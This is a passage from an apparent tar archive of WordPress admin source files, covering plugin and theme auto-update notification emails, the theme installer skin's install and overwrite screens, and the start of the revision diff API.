			 * Filters whether to send an email following an automatic background plugin update.
			 *
			 * @since 5.5.0
			 * @since 5.5.1 Added the `$update_results` parameter.
			 *
			 * @param bool  $enabled        True if plugin update notifications are enabled, false otherwise.
			 * @param array $update_results The results of plugins update tasks.
			 */
			$notifications_enabled = apply_filters( 'auto_plugin_update_send_email', true, $update_results['plugin'] );

			if ( $notifications_enabled ) {
				foreach ( $update_results['plugin'] as $update_result ) {
					if ( true === $update_result->result ) {
						$successful_updates['plugin'][] = $update_result;
					} else {
						$failed_updates['plugin'][] = $update_result;
					}
				}
			}
		}

		if ( ! empty( $update_results['theme'] ) ) {
			/**
			 * Filters whether to send an email following an automatic background theme update.
			 *
			 * @since 5.5.0
			 * @since 5.5.1 Added the `$update_results` parameter.
			 *
			 * @param bool  $enabled        True if theme update notifications are enabled, false otherwise.
			 * @param array $update_results The results of theme update tasks.
			 */
			$notifications_enabled = apply_filters( 'auto_theme_update_send_email', true, $update_results['theme'] );

			if ( $notifications_enabled ) {
				foreach ( $update_results['theme'] as $update_result ) {
					if ( true === $update_result->result ) {
						$successful_updates['theme'][] = $update_result;
					} else {
						$failed_updates['theme'][] = $update_result;
					}
				}
			}
		}

		if ( empty( $successful_updates ) && empty( $failed_updates ) ) {
			return;
		}

		if ( empty( $failed_updates ) ) {
			$this->send_plugin_theme_email( 'success', $successful_updates, $failed_updates );
		} elseif ( empty( $successful_updates ) ) {
			$this->send_plugin_theme_email( 'fail', $successful_updates, $failed_updates );
		} else {
			$this->send_plugin_theme_email( 'mixed', $successful_updates, $failed_updates );
		}
	}

	/**
	 * Sends an email upon the completion or failure of a plugin or theme background update.
	 *
	 * @since 5.5.0
	 *
	 * @param string $type               The type of email to send. Can be one of 'success', 'fail', 'mixed'.
	 * @param array  $successful_updates A list of updates that succeeded.
	 * @param array  $failed_updates     A list of updates that failed.
	 */
	protected function send_plugin_theme_email( $type, $successful_updates, $failed_updates ) {
		// No updates were attempted.
		if ( empty( $successful_updates ) && empty( $failed_updates ) ) {
			return;
		}

		$unique_failures     = false;
		$past_failure_emails = get_option( 'auto_plugin_theme_update_emails', array() );

		/*
		 * When only failures have occurred, an email should only be sent if there are unique failures.
		 * A failure is considered unique if an email has not been sent for an update attempt failure
		 * to a plugin or theme with the same new_version.
		 */
		if ( 'fail' === $type ) {
			foreach ( $failed_updates as $update_type => $failures ) {
				foreach ( $failures as $failed_update ) {
					if ( ! isset( $past_failure_emails[ $failed_update->item->{$update_type} ] ) ) {
						$unique_failures = true;
						continue;
					}

					// Check that the failure represents a new failure based on the new_version.
					if ( version_compare( $past_failure_emails[ $failed_update->item->{$update_type} ], $failed_update->item->new_version, '<' ) ) {
						$unique_failures = true;
					}
				}
			}

			if ( ! $unique_failures ) {
				return;
			}
		}

		$body               = array();
		$successful_plugins = ( ! empty( $successful_updates['plugin'] ) );
		$successful_themes  = ( ! empty( $successful_updates['theme'] ) );
		$failed_plugins     = ( ! empty( $failed_updates['plugin'] ) );
		$failed_themes      = ( ! empty( $failed_updates['theme'] ) );

		switch ( $type ) {
			case 'success':
				if ( $successful_plugins && $successful_themes ) {
					/* translators: %s: Site title. */
					$subject = __( '[%s] Some plugins and themes have automatically updated' );
					$body[]  = sprintf(
						/* translators: %s: Home URL. */
						__( 'Howdy! Some plugins and themes have automatically updated to their latest versions on your site at %s. No further action is needed on your part.' ),
						home_url()
					);
				} elseif ( $successful_plugins ) {
					/* translators: %s: Site title. */
					$subject = __( '[%s] Some plugins were automatically updated' );
					$body[]  = sprintf(
						/* translators: %s: Home URL. */
						__( 'Howdy! Some plugins have automatically updated to their latest versions on your site at %s. No further action is needed on your part.' ),
						home_url()
					);
				} else {
					/* translators: %s: Site title. */
					$subject = __( '[%s] Some themes were automatically updated' );
					$body[]  = sprintf(
						/* translators: %s: Home URL. */
						__( 'Howdy! Some themes have automatically updated to their latest versions on your site at %s. No further action is needed on your part.' ),
						home_url()
					);
				}

				break;
			case 'fail':
			case 'mixed':
				if ( $failed_plugins && $failed_themes ) {
					/* translators: %s: Site title. */
					$subject = __( '[%s] Some plugins and themes have failed to update' );
					$body[]  = sprintf(
						/* translators: %s: Home URL. */
						__( 'Howdy! Plugins and themes failed to update on your site at %s.' ),
						home_url()
					);
				} elseif ( $failed_plugins ) {
					/* translators: %s: Site title. */
					$subject = __( '[%s] Some plugins have failed to update' );
					$body[]  = sprintf(
						/* translators: %s: Home URL. */
						__( 'Howdy! Plugins failed to update on your site at %s.' ),
						home_url()
					);
				} else {
					/* translators: %s: Site title. */
					$subject = __( '[%s] Some themes have failed to update' );
					$body[]  = sprintf(
						/* translators: %s: Home URL. */
						__( 'Howdy! Themes failed to update on your site at %s.' ),
						home_url()
					);
				}

				break;
		}

		if ( in_array( $type, array( 'fail', 'mixed' ), true ) ) {
			$body[] = "\n";
			$body[] = __( 'Please check your site now. It’s possible that everything is working. If there are updates available, you should update.' );
			$body[] = "\n";

			// List failed plugin updates.
			if ( ! empty( $failed_updates['plugin'] ) ) {
				$body[] = __( 'These plugins failed to update:' );

				foreach ( $failed_updates['plugin'] as $item ) {
					$body_message = '';
					$item_url     = '';

					if ( ! empty( $item->item->url ) ) {
						$item_url = ' : ' . esc_url( $item->item->url );
					}

					if ( $item->item->current_version ) {
						$body_message .= sprintf(
							/* translators: 1: Plugin name, 2: Current version number, 3: New version number, 4: Plugin URL. */
							__( '- %1$s (from version %2$s to %3$s)%4$s' ),
							html_entity_decode( $item->name ),
							$item->item->current_version,
							$item->item->new_version,
							$item_url
						);
					} else {
						$body_message .= sprintf(
							/* translators: 1: Plugin name, 2: Version number, 3: Plugin URL. */
							__( '- %1$s version %2$s%3$s' ),
							html_entity_decode( $item->name ),
							$item->item->new_version,
							$item_url
						);
					}

					$body[] = $body_message;

					$past_failure_emails[ $item->item->plugin ] = $item->item->new_version;
				}

				$body[] = "\n";
			}

			// List failed theme updates.
			if ( ! empty( $failed_updates['theme'] ) ) {
				$body[] = __( 'These themes failed to update:' );

				foreach ( $failed_updates['theme'] as $item ) {
					if ( $item->item->current_version ) {
						$body[] = sprintf(
							/* translators: 1: Theme name, 2: Current version number, 3: New version number. */
							__( '- %1$s (from version %2$s to %3$s)' ),
							html_entity_decode( $item->name ),
							$item->item->current_version,
							$item->item->new_version
						);
					} else {
						$body[] = sprintf(
							/* translators: 1: Theme name, 2: Version number. */
							__( '- %1$s version %2$s' ),
							html_entity_decode( $item->name ),
							$item->item->new_version
						);
					}

					$past_failure_emails[ $item->item->theme ] = $item->item->new_version;
				}

				$body[] = "\n";
			}
		}

		// List successful updates.
		if ( in_array( $type, array( 'success', 'mixed' ), true ) ) {
			$body[] = "\n";

			// List successful plugin updates.
			if ( ! empty( $successful_updates['plugin'] ) ) {
				$body[] = __( 'These plugins are now up to date:' );

				foreach ( $successful_updates['plugin'] as $item ) {
					$body_message = '';
					$item_url     = '';

					if ( ! empty( $item->item->url ) ) {
						$item_url = ' : ' . esc_url( $item->item->url );
					}

					if ( $item->item->current_version ) {
						$body_message .= sprintf(
							/* translators: 1: Plugin name, 2: Current version number, 3: New version number, 4: Plugin URL. */
							__( '- %1$s (from version %2$s to %3$s)%4$s' ),
							html_entity_decode( $item->name ),
							$item->item->current_version,
							$item->item->new_version,
							$item_url
						);
					} else {
						$body_message .= sprintf(
							/* translators: 1: Plugin name, 2: Version number, 3: Plugin URL. */
							__( '- %1$s version %2$s%3$s' ),
							html_entity_decode( $item->name ),
							$item->item->new_version,
							$item_url
						);
					}
					$body[] = $body_message;

					unset( $past_failure_emails[ $item->item->plugin ] );
				}

				$body[] = "\n";
			}

			// List successful theme updates.
			if ( ! empty( $successful_updates['theme'] ) ) {
				$body[] = __( 'These themes are now up to date:' );

				foreach ( $successful_updates['theme'] as $item ) {
					if ( $item->item->current_version ) {
						$body[] = sprintf(
							/* translators: 1: Theme name, 2: Current version number, 3: New version number. */
							__( '- %1$s (from version %2$s to %3$s)' ),
							html_entity_decode( $item->name ),
							$item->item->current_version,
							$item->item->new_version
						);
					} else {
						$body[] = sprintf(
							/* translators: 1: Theme name, 2: Version number. */
							__( '- %1$s version %2$s' ),
							html_entity_decode( $item->name ),
							$item->item->new_version
						);
					}

					unset( $past_failure_emails[ $item->item->theme ] );
				}

				$body[] = "\n";
			}
		}

		if ( $failed_plugins ) {
			$body[] = sprintf(
				/* translators: %s: Plugins screen URL. */
				__( 'To manage plugins on your site, visit the Plugins page: %s' ),
				admin_url( 'plugins.php' )
			);
			$body[] = "\n";
		}

		if ( $failed_themes ) {
			$body[] = sprintf(
				/* translators: %s: Themes screen URL. */
				__( 'To manage themes on your site, visit the Themes page: %s' ),
				admin_url( 'themes.php' )
			);
			$body[] = "\n";
		}

		// Add a note about the support forums.
		$body[] = __( 'If you experience any issues or need support, the volunteers in the WordPress.org support forums may be able to help.' );
		$body[] = __( 'https://wordpress.org/support/forums/' );
		$body[] = "\n" . __( 'The WordPress Team' );

		if ( '' !== get_option( 'blogname' ) ) {
			$site_title = wp_specialchars_decode( get_option( 'blogname' ), ENT_QUOTES );
		} else {
			$site_title = parse_url( home_url(), PHP_URL_HOST );
		}

		$body    = implode( "\n", $body );
		$to      = get_site_option( 'admin_email' );
		$subject = sprintf( $subject, $site_title );
		$headers = '';

		$email = compact( 'to', 'subject', 'body', 'headers' );

		/**
		 * Filters the email sent following an automatic background update for plugins and themes.
		 *
		 * @since 5.5.0
		 *
		 * @param array  $email {
		 *     Array of email arguments that will be passed to wp_mail().
		 *
		 *     @type string $to      The email recipient. An array of emails
		 *                           can be returned, as handled by wp_mail().
		 *     @type string $subject The email's subject.
		 *     @type string $body    The email message body.
		 *     @type string $headers Any email headers, defaults to no headers.
		 * }
		 * @param string $type               The type of email being sent. Can be one of 'success', 'fail', 'mixed'.
		 * @param array  $successful_updates A list of updates that succeeded.
		 * @param array  $failed_updates     A list of updates that failed.
		 */
		$email = apply_filters( 'auto_plugin_theme_update_email', $email, $type, $successful_updates, $failed_updates );

		$result = wp_mail( $email['to'], wp_specialchars_decode( $email['subject'] ), $email['body'], $email['headers'] );

		if ( $result ) {
			update_option( 'auto_plugin_theme_update_emails', $past_failure_emails );
		}
	}

	/**
	 * Prepares and sends an email of a full log of background update results, useful for debugging and geekery.
	 *
	 * @since 3.7.0
	 */
	protected function send_debug_email() {
		$update_count = 0;
		foreach ( $this->update_results as $type => $updates ) {
			$update_count += count( $updates );
		}

		$body     = array();
		$failures = 0;

		/* translators: %s: Network home URL. */
		$body[] = sprintf( __( 'WordPress site: %s' ), network_home_url( '/' ) );

		// Core.
		if ( isset( $this->update_results['core'] ) ) {
			$result = $this->update_results['core'][0];

			if ( $result->result && ! is_wp_error( $result->result ) ) {
				/* translators: %s: WordPress version. */
				$body[] = sprintf( __( 'SUCCESS: WordPress was successfully updated to %s' ), $result->name );
			} else {
				/* translators: %s: WordPress version. */
				$body[] = sprintf( __( 'FAILED: WordPress failed to update to %s' ), $result->name );
				++$failures;
			}

			$body[] = '';
		}

		// Plugins, Themes, Translations.
		foreach ( array( 'plugin', 'theme', 'translation' ) as $type ) {
			if ( ! isset( $this->update_results[ $type ] ) ) {
				continue;
			}

			$success_items = wp_list_filter( $this->update_results[ $type ], array( 'result' => true ) );

			if ( $success_items ) {
				$messages = array(
					'plugin'      => __( 'The following plugins were successfully updated:' ),
					'theme'       => __( 'The following themes were successfully updated:' ),
					'translation' => __( 'The following translations were successfully updated:' ),
				);

				$body[] = $messages[ $type ];
				foreach ( wp_list_pluck( $success_items, 'name' ) as $name ) {
					/* translators: %s: Name of plugin / theme / translation. */
					$body[] = ' * ' . sprintf( __( 'SUCCESS: %s' ), $name );
				}
			}

			if ( $success_items !== $this->update_results[ $type ] ) {
				// Failed updates.
				$messages = array(
					'plugin'      => __( 'The following plugins failed to update:' ),
					'theme'       => __( 'The following themes failed to update:' ),
					'translation' => __( 'The following translations failed to update:' ),
				);

				$body[] = $messages[ $type ];

				foreach ( $this->update_results[ $type ] as $item ) {
					if ( ! $item->result || is_wp_error( $item->result ) ) {
						/* translators: %s: Name of plugin / theme / translation. */
						$body[] = ' * ' . sprintf( __( 'FAILED: %s' ), $item->name );
						++$failures;
					}
				}
			}

			$body[] = '';
		}

		if ( '' !== get_bloginfo( 'name' ) ) {
			$site_title = wp_specialchars_decode( get_bloginfo( 'name' ), ENT_QUOTES );
		} else {
			$site_title = parse_url( home_url(), PHP_URL_HOST );
		}

		if ( $failures ) {
			$body[] = trim(
				__(
					"BETA TESTING?
=============

This debugging email is sent when you are using a development version of WordPress.

If you think these failures might be due to a bug in WordPress, could you report it?
 * Open a thread in the support forums: https://wordpress.org/support/forum/alphabeta
 * Or, if you're comfortable writing a bug report: https://core.trac.wordpress.org/

Thanks! -- The WordPress Team"
				)
			);
			$body[] = '';

			/* translators: Background update failed notification email subject. %s: Site title. */
			$subject = sprintf( __( '[%s] Background Update Failed' ), $site_title );
		} else {
			/* translators: Background update finished notification email subject. %s: Site title. */
			$subject = sprintf( __( '[%s] Background Update Finished' ), $site_title );
		}

		$body[] = trim(
			__(
				'UPDATE LOG
=========='
			)
		);
		$body[] = '';

		foreach ( array( 'core', 'plugin', 'theme', 'translation' ) as $type ) {
			if ( ! isset( $this->update_results[ $type ] ) ) {
				continue;
			}

			foreach ( $this->update_results[ $type ] as $update ) {
				$body[] = $update->name;
				$body[] = str_repeat( '-', strlen( $update->name ) );

				foreach ( $update->messages as $message ) {
					$body[] = '  ' . html_entity_decode( str_replace( '&#8230;', '...', $message ) );
				}

				if ( is_wp_error( $update->result ) ) {
					$results = array( 'update' => $update->result );

					// If we rolled back, we want to know an error that occurred then too.
					if ( 'rollback_was_required' === $update->result->get_error_code() ) {
						$results = (array) $update->result->get_error_data();
					}

					foreach ( $results as $result_type => $result ) {
						if ( ! is_wp_error( $result ) ) {
							continue;
						}

						if ( 'rollback' === $result_type ) {
							/* translators: 1: Error code, 2: Error message. */
							$body[] = '  ' . sprintf( __( 'Rollback Error: [%1$s] %2$s' ), $result->get_error_code(), $result->get_error_message() );
						} else {
							/* translators: 1: Error code, 2: Error message. */
							$body[] = '  ' . sprintf( __( 'Error: [%1$s] %2$s' ), $result->get_error_code(), $result->get_error_message() );
						}

						if ( $result->get_error_data() ) {
							$body[] = '         ' . implode( ', ', (array) $result->get_error_data() );
						}
					}
				}

				$body[] = '';
			}
		}

		$email = array(
			'to'      => get_site_option( 'admin_email' ),
			'subject' => $subject,
			'body'    => implode( "\n", $body ),
			'headers' => '',
		);

		/**
		 * Filters the debug email that can be sent following an automatic
		 * background core update.
		 *
		 * @since 3.8.0
		 *
		 * @param array $email {
		 *     Array of email arguments that will be passed to wp_mail().
		 *
		 *     @type string $to      The email recipient. An array of emails
		 *                           can be returned, as handled by wp_mail().
		 *     @type string $subject Email subject.
		 *     @type string $body    Email message body.
		 *     @type string $headers Any email headers. Default empty.
		 * }
		 * @param int   $failures The number of failures encountered while upgrading.
		 * @param mixed $results  The results of all attempted updates.
		 */
		$email = apply_filters( 'automatic_updates_debug_email', $email, $failures, $this->update_results );

		wp_mail( $email['to'], wp_specialchars_decode( $email['subject'] ), $email['body'], $email['headers'] );
	}
}
class-theme-installer-skin.php000064400000030507150275632050012431 0ustar00<?php
/**
 * Upgrader API: Theme_Installer_Skin class
 *
 * @package WordPress
 * @subpackage Upgrader
 * @since 4.6.0
 */

/**
 * Theme Installer Skin for the WordPress Theme Installer.
 *
 * @since 2.8.0
 * @since 4.6.0 Moved to its own file from wp-admin/includes/class-wp-upgrader-skins.php.
 *
 * @see WP_Upgrader_Skin
 */
class Theme_Installer_Skin extends WP_Upgrader_Skin {
	public $api;
	public $type;
	public $url;
	public $overwrite;

	private $is_downgrading = false;

	/**
	 * @param array $args
	 */
	public function __construct( $args = array() ) {
		$defaults = array(
			'type'      => 'web',
			'url'       => '',
			'theme'     => '',
			'nonce'     => '',
			'title'     => '',
			'overwrite' => '',
		);
		$args     = wp_parse_args( $args, $defaults );

		$this->type      = $args['type'];
		$this->url       = $args['url'];
		$this->api       = isset( $args['api'] ) ? $args['api'] : array();
		$this->overwrite = $args['overwrite'];

		parent::__construct( $args );
	}

	/**
	 * Performs an action before installing a theme.
	 *
	 * @since 2.8.0
	 */
	public function before() {
		if ( ! empty( $this->api ) ) {
			$this->upgrader->strings['process_success'] = sprintf(
				$this->upgrader->strings['process_success_specific'],
				$this->api->name,
				$this->api->version
			);
		}
	}

	/**
	 * Hides the `process_failed` error when updating a theme by uploading a zip file.
	 *
	 * @since 5.5.0
	 *
	 * @param WP_Error $wp_error WP_Error object.
	 * @return bool True if the error should be hidden, false otherwise.
	 */
	public function hide_process_failed( $wp_error ) {
		if (
			'upload' === $this->type &&
			'' === $this->overwrite &&
			$wp_error->get_error_code() === 'folder_exists'
		) {
			return true;
		}

		return false;
	}

	/**
	 * Performs an action following a single theme install.
	 *
	 * @since 2.8.0
	 */
	public function after() {
		if ( $this->do_overwrite() ) {
			return;
		}

		if ( empty( $this->upgrader->result['destination_name'] ) ) {
			return;
		}

		$theme_info = $this->upgrader->theme_info();
		if ( empty( $theme_info ) ) {
			return;
		}

		$name       = $theme_info->display( 'Name' );
		$stylesheet = $this->upgrader->result['destination_name'];
		$template   = $theme_info->get_template();

		$activate_link = add_query_arg(
			array(
				'action'     => 'activate',
				'template'   => urlencode( $template ),
				'stylesheet' => urlencode( $stylesheet ),
			),
			admin_url( 'themes.php' )
		);
		$activate_link = wp_nonce_url( $activate_link, 'switch-theme_' . $stylesheet );

		$install_actions = array();

		if ( current_user_can( 'edit_theme_options' ) && current_user_can( 'customize' ) && ! $theme_info->is_block_theme() ) {
			$customize_url = add_query_arg(
				array(
					'theme'  => urlencode( $stylesheet ),
					'return' => urlencode( admin_url( 'web' === $this->type ? 'theme-install.php' : 'themes.php' ) ),
				),
				admin_url( 'customize.php' )
			);

			$install_actions['preview'] = sprintf(
				'<a href="%s" class="hide-if-no-customize load-customize">' .
				'<span aria-hidden="true">%s</span><span class="screen-reader-text">%s</span></a>',
				esc_url( $customize_url ),
				__( 'Live Preview' ),
				/* translators: Hidden accessibility text. %s: Theme name. */
				sprintf( __( 'Live Preview &#8220;%s&#8221;' ), $name )
			);
		}

		$install_actions['activate'] = sprintf(
			'<a href="%s" class="activatelink">' .
			'<span aria-hidden="true">%s</span><span class="screen-reader-text">%s</span></a>',
			esc_url( $activate_link ),
			__( 'Activate' ),
			/* translators: Hidden accessibility text. %s: Theme name. */
			sprintf( _x( 'Activate &#8220;%s&#8221;', 'theme' ), $name )
		);

		if ( is_network_admin() && current_user_can( 'manage_network_themes' ) ) {
			$install_actions['network_enable'] = sprintf(
				'<a href="%s" target="_parent">%s</a>',
				esc_url( wp_nonce_url( 'themes.php?action=enable&amp;theme=' . urlencode( $stylesheet ), 'enable-theme_' . $stylesheet ) ),
				__( 'Network Enable' )
			);
		}

		if ( 'web' === $this->type ) {
			$install_actions['themes_page'] = sprintf(
				'<a href="%s" target="_parent">%s</a>',
				self_admin_url( 'theme-install.php' ),
				__( 'Go to Theme Installer' )
			);
		} elseif ( current_user_can( 'switch_themes' ) || current_user_can( 'edit_theme_options' ) ) {
			$install_actions['themes_page'] = sprintf(
				'<a href="%s" target="_parent">%s</a>',
				self_admin_url( 'themes.php' ),
				__( 'Go to Themes page' )
			);
		}

		if ( ! $this->result || is_wp_error( $this->result ) || is_network_admin() || ! current_user_can( 'switch_themes' ) ) {
			unset( $install_actions['activate'], $install_actions['preview'] );
		} elseif ( get_option( 'template' ) === $stylesheet ) {
			unset( $install_actions['activate'] );
		}

		/**
		 * Filters the list of action links available following a single theme installation.
		 *
		 * @since 2.8.0
		 *
		 * @param string[] $install_actions Array of theme action links.
		 * @param object   $api             Object containing WordPress.org API theme data.
		 * @param string   $stylesheet      Theme directory name.
		 * @param WP_Theme $theme_info      Theme object.
		 */
		$install_actions = apply_filters( 'install_theme_complete_actions', $install_actions, $this->api, $stylesheet, $theme_info );
		if ( ! empty( $install_actions ) ) {
			$this->feedback( implode( ' | ', (array) $install_actions ) );
		}
	}

	/**
	 * Checks if the theme can be overwritten and outputs the HTML for overwriting a theme on upload.
	 *
	 * @since 5.5.0
	 *
	 * @return bool Whether the theme can be overwritten and HTML was outputted.
	 */
	private function do_overwrite() {
		if ( 'upload' !== $this->type || ! is_wp_error( $this->result ) || 'folder_exists' !== $this->result->get_error_code() ) {
			return false;
		}

		$folder = $this->result->get_error_data( 'folder_exists' );
		$folder = rtrim( $folder, '/' );

		$current_theme_data = false;
		$all_themes         = wp_get_themes( array( 'errors' => null ) );

		foreach ( $all_themes as $theme ) {
			$stylesheet_dir = wp_normalize_path( $theme->get_stylesheet_directory() );

			if ( rtrim( $stylesheet_dir, '/' ) !== $folder ) {
				continue;
			}

			$current_theme_data = $theme;
		}

		$new_theme_data = $this->upgrader->new_theme_data;

		if ( ! $current_theme_data || ! $new_theme_data ) {
			return false;
		}

		echo '<h2 class="update-from-upload-heading">' . esc_html__( 'This theme is already installed.' ) . '</h2>';

		// Check errors for active theme.
		if ( is_wp_error( $current_theme_data->errors() ) ) {
			$this->feedback( 'current_theme_has_errors', $current_theme_data->errors()->get_error_message() );
		}

		$this->is_downgrading = version_compare( $current_theme_data['Version'], $new_theme_data['Version'], '>' );

		$is_invalid_parent = false;
		if ( ! empty( $new_theme_data['Template'] ) ) {
			$is_invalid_parent = ! in_array( $new_theme_data['Template'], array_keys( $all_themes ), true );
		}

		$rows = array(
			'Name'        => __( 'Theme name' ),
			'Version'     => __( 'Version' ),
			'Author'      => __( 'Author' ),
			'RequiresWP'  => __( 'Required WordPress version' ),
			'RequiresPHP' => __( 'Required PHP version' ),
			'Template'    => __( 'Parent theme' ),
		);

		$table  = '<table class="update-from-upload-comparison"><tbody>';
		$table .= '<tr><th></th><th>' . esc_html_x( 'Active', 'theme' ) . '</th><th>' . esc_html_x( 'Uploaded', 'theme' ) . '</th></tr>';

		$is_same_theme = true; // Let's consider only these rows.

		foreach ( $rows as $field => $label ) {
			$old_value = $current_theme_data->display( $field, false );
			$old_value = $old_value ? (string) $old_value : '-';

			$new_value = ! empty( $new_theme_data[ $field ] ) ? (string) $new_theme_data[ $field ] : '-';

			if ( $old_value === $new_value && '-' === $new_value && 'Template' === $field ) {
				continue;
			}

			$is_same_theme = $is_same_theme && ( $old_value === $new_value );

			$diff_field     = ( 'Version' !== $field && $new_value !== $old_value );
			$diff_version   = ( 'Version' === $field && $this->is_downgrading );
			$invalid_parent = false;

			if ( 'Template' === $field && $is_invalid_parent ) {
				$invalid_parent = true;
				$new_value     .= ' ' . __( '(not found)' );
			}

			$table .= '<tr><td class="name-label">' . $label . '</td><td>' . wp_strip_all_tags( $old_value ) . '</td>';
			$table .= ( $diff_field || $diff_version || $invalid_parent ) ? '<td class="warning">' : '<td>';
			$table .= wp_strip_all_tags( $new_value ) . '</td></tr>';
		}

		$table .= '</tbody></table>';

		/**
		 * Filters the compare table output for overwriting a theme package on upload.
		 *
		 * @since 5.5.0
		 *
		 * @param string   $table              The output table with Name, Version, Author, RequiresWP, and RequiresPHP info.
		 * @param WP_Theme $current_theme_data Active theme data.
		 * @param array    $new_theme_data     Array with uploaded theme data.
		 */
		echo apply_filters( 'install_theme_overwrite_comparison', $table, $current_theme_data, $new_theme_data );

		$install_actions = array();
		$can_update      = true;

		$blocked_message  = '<p>' . esc_html__( 'The theme cannot be updated due to the following:' ) . '</p>';
		$blocked_message .= '<ul class="ul-disc">';

		$requires_php = isset( $new_theme_data['RequiresPHP'] ) ? $new_theme_data['RequiresPHP'] : null;
		$requires_wp  = isset( $new_theme_data['RequiresWP'] ) ? $new_theme_data['RequiresWP'] : null;

		if ( ! is_php_version_compatible( $requires_php ) ) {
			$error = sprintf(
				/* translators: 1: Current PHP version, 2: Version required by the uploaded theme. */
				__( 'The PHP version on your server is %1$s, however the uploaded theme requires %2$s.' ),
				PHP_VERSION,
				$requires_php
			);

			$blocked_message .= '<li>' . esc_html( $error ) . '</li>';
			$can_update       = false;
		}

		if ( ! is_wp_version_compatible( $requires_wp ) ) {
			$error = sprintf(
				/* translators: 1: Current WordPress version, 2: Version required by the uploaded theme. */
				__( 'Your WordPress version is %1$s, however the uploaded theme requires %2$s.' ),
				get_bloginfo( 'version' ),
				$requires_wp
			);

			$blocked_message .= '<li>' . esc_html( $error ) . '</li>';
			$can_update       = false;
		}

		$blocked_message .= '</ul>';

		if ( $can_update ) {
			if ( $this->is_downgrading ) {
				$warning = sprintf(
					/* translators: %s: Documentation URL. */
					__( 'You are uploading an older version of the active theme. You can continue to install the older version, but be sure to <a href="%s">back up your database and files</a> first.' ),
					__( 'https://wordpress.org/documentation/article/wordpress-backups/' )
				);
			} else {
				$warning = sprintf(
					/* translators: %s: Documentation URL. */
					__( 'You are updating a theme. Be sure to <a href="%s">back up your database and files</a> first.' ),
					__( 'https://wordpress.org/documentation/article/wordpress-backups/' )
				);
			}

			echo '<p class="update-from-upload-notice">' . $warning . '</p>';

			$overwrite = $this->is_downgrading ? 'downgrade-theme' : 'update-theme';

			$install_actions['overwrite_theme'] = sprintf(
				'<a class="button button-primary update-from-upload-overwrite" href="%s" target="_parent">%s</a>',
				wp_nonce_url( add_query_arg( 'overwrite', $overwrite, $this->url ), 'theme-upload' ),
				_x( 'Replace active with uploaded', 'theme' )
			);
		} else {
			echo $blocked_message;
		}

		$cancel_url = add_query_arg( 'action', 'upload-theme-cancel-overwrite', $this->url );

		$install_actions['themes_page'] = sprintf(
			'<a class="button" href="%s" target="_parent">%s</a>',
			wp_nonce_url( $cancel_url, 'theme-upload-cancel-overwrite' ),
			__( 'Cancel and go back' )
		);

		/**
		 * Filters the list of action links available following a single theme installation failure
		 * when overwriting is allowed.
		 *
		 * @since 5.5.0
		 *
		 * @param string[] $install_actions Array of theme action links.
		 * @param object   $api             Object containing WordPress.org API theme data.
		 * @param array    $new_theme_data  Array with uploaded theme data.
		 */
		$install_actions = apply_filters( 'install_theme_overwrite_actions', $install_actions, $this->api, $new_theme_data );

		if ( ! empty( $install_actions ) ) {
			printf(
				'<p class="update-from-upload-expired hidden">%s</p>',
				__( 'The uploaded file has expired. Please go back and upload it again.' )
			);
			echo '<p class="update-from-upload-actions">' . implode( ' ', (array) $install_actions ) . '</p>';
		}

		return true;
	}
}
revision.php000064400000037422150275632050007130 0ustar00<?php
/**
 * WordPress Administration Revisions API
 *
 * @package WordPress
 * @subpackage Administration
 * @since 3.6.0
 */

/**
 * Get the revision UI diff.
 *
 * @since 3.6.0
 *
 * @param WP_Post|int $post         The post object or post ID.
 * @param int         $compare_from The revision ID to compare from.
 * @param int         $compare_to   The revision ID to come to.
 * @return array|false Associative array of a post's revisioned fields and their diffs.
 *                     Or, false on failure.
 */
function wp_get_revision_ui_diff( $post, $compare_from, $compare_to ) {
	$post = get_post( $post );
	if ( ! $post ) {
		return false;
	}

	if ( $compare_from ) {
		$compare_from = get_post( $compare_from );
		if ( ! $compare_from ) {
			return false;
		}
	} else {
		// If we're dealing with the first revision...
		$compare_from = false;
	}

	$compare_to = get_post( $compare_to );
	if ( ! $compare_to ) {
		return false;
	}

	/*
	 * If comparing revisions, make sure we are dealing with the right post parent.
	 * The parent post may be a 'revision' when revisions are disabled and we're looking at autosaves.
	 */
	if ( $compare_from && $compare_from->post_parent !== $post->ID && $compare_from->ID !== $post->ID ) {
		return false;
	}
	if ( $compare_to->post_parent !== $post->ID && $compare_to->ID !== $post->ID ) {
		return false;
	}

	if ( $compare_from && strtotime( $compare_from->post_date_gmt ) > strtotime( $compare_to->post_date_gmt ) ) {
		$temp         = $compare_from;
		$compare_from = $compare_to;
		$compare_to   = $temp;
	}

	// Add default title if title field is empty.
	if ( $compare_from && empty( $compare_from->post_title ) ) {
		$compare_from->post_title = __( '(no title)' );
	}
	if ( empty( $compare_to->post_title ) ) {
		$compare_to->post_title = __( '(no title)' );
	}

	$return = array();

	foreach ( _wp_post_revision_fields( $post ) as $field => $name ) {
		/**
		 * Contextually filter a post revision field.
		 *
		 * The dynamic portion of the hook name, `$field`, corresponds to a name of a
		 * field of the revision object.
		 *
		 * Possible hook names include:
		 *
		 *  - `_wp_post_revision_field_post_title`
		 *  - `_wp_post_revision_field_post_content`
		 *  - `_wp_post_revision_field_post_excerpt`
		 *
		 * @since 3.6.0
		 *
		 * @param string  $revision_field The current revision field to compare to or from.
		 * @param string  $field          The current revision field.
		 * @param WP_Post $compare_from   The revision post object to compare to or from.
		 * @param string  $context        The context of whether the current revision is the old
		 *                                or the new one. Values are 'to' or 'from'.
		 */
		$content_from = $compare_from ? apply_filters( "_wp_post_revision_field_{$field}", $compare_from->$field, $field, $compare_from, 'from' ) : '';

		/** This filter is documented in wp-admin/includes/revision.php */
		$content_to = apply_filters( "_wp_post_revision_field_{$field}", $compare_to->$field, $field, $compare_to, 'to' );

		$args = array(
			'show_split_view' => true,
			'title_left'      => __( 'Removed' ),
			'title_right'     => __( 'Added' ),
		);

		/**
		 * Filters revisions text diff options.
		 *
		 * Filters the options passed to wp_text_diff() when viewing a post revision.
		 *
		 * @since 4.1.0
		 *
		 * @param array   $args {
		 *     Associative array of options to pass to wp_text_diff().
		 *
		 *     @type bool $show_split_view True for split view (two columns), false for
		 *                                 un-split view (single column). Default true.
		 * }
		 * @param string  $field        The current revision field.
		 * @param WP_Post $compare_from The revision post to compare from.
		 * @param WP_Post $compare_to   The revision post to compare to.
		 */
		$args = apply_filters( 'revision_text_diff_options', $args, $field, $compare_from, $compare_to );

		$diff = wp_text_diff( $content_from, $content_to, $args );

		if ( ! $diff && 'post_title' === $field ) {
			/*
			 * It's a better user experience to still show the Title, even if it didn't change.
			 * No, you didn't see this.
			 */
